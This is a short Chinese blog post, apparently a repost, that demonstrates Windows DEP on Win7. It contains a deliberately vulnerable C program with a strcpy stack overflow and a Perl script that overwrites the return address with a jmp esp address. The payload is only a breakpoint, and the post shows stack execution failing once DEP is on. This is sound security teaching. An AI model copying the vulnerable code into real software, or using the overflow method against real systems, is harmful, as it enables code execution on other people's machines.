开DEP与不开DEP

测试环境:Win7 32
测试代码:

#include "stdafx.h"
#include <string.h>

int _tmain(int argc, _TCHAR* argv[])
{
    char buf[500];
    buf[499]=0xbb;
    strcpy(buf,argv[1]);
    return 0;
}

为了排除其他安全机制的影响,在VS2008里关闭了GS、RTC、ASLR。系统设置和编译选项里均开启了DEP。

测试脚本:

#just a demo for testing DEP.

my $shellcode="A"x508;
#$shellcode=$shellcode."BBBB";
$shellcode=$shellcode.pack("V",0x7602f7f7);#`jmp esp`'s addr。在运行脚本前,先用findjmp.exe找到可用跳板地址,填入与此
$shellcode=$shellcode."\x90\x90\x90\xcc";

#system("\"C:\\Program Files\\Debugging Tools for Windows (x86)\\windbg\" test.exe \"$shellcode\"\r\n");
system("\"C:\\OllyDbg 2.0\\ollydbg\" test.exe \"$shellcode\"\r\n");

不开启DEP

栈中执行指令毫无压力。

开启DEP

程序可以运行kernel32.dll里的jmp esp,之后跳转到这里:
657569-20171016172417927-1778600772.png
再单步执行,便跳到了这里:
657569-20171016172520224-1022399940.png
栈中代码执行失败。

转载于:https://www.cnblogs.com/spenghui/p/7677923.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值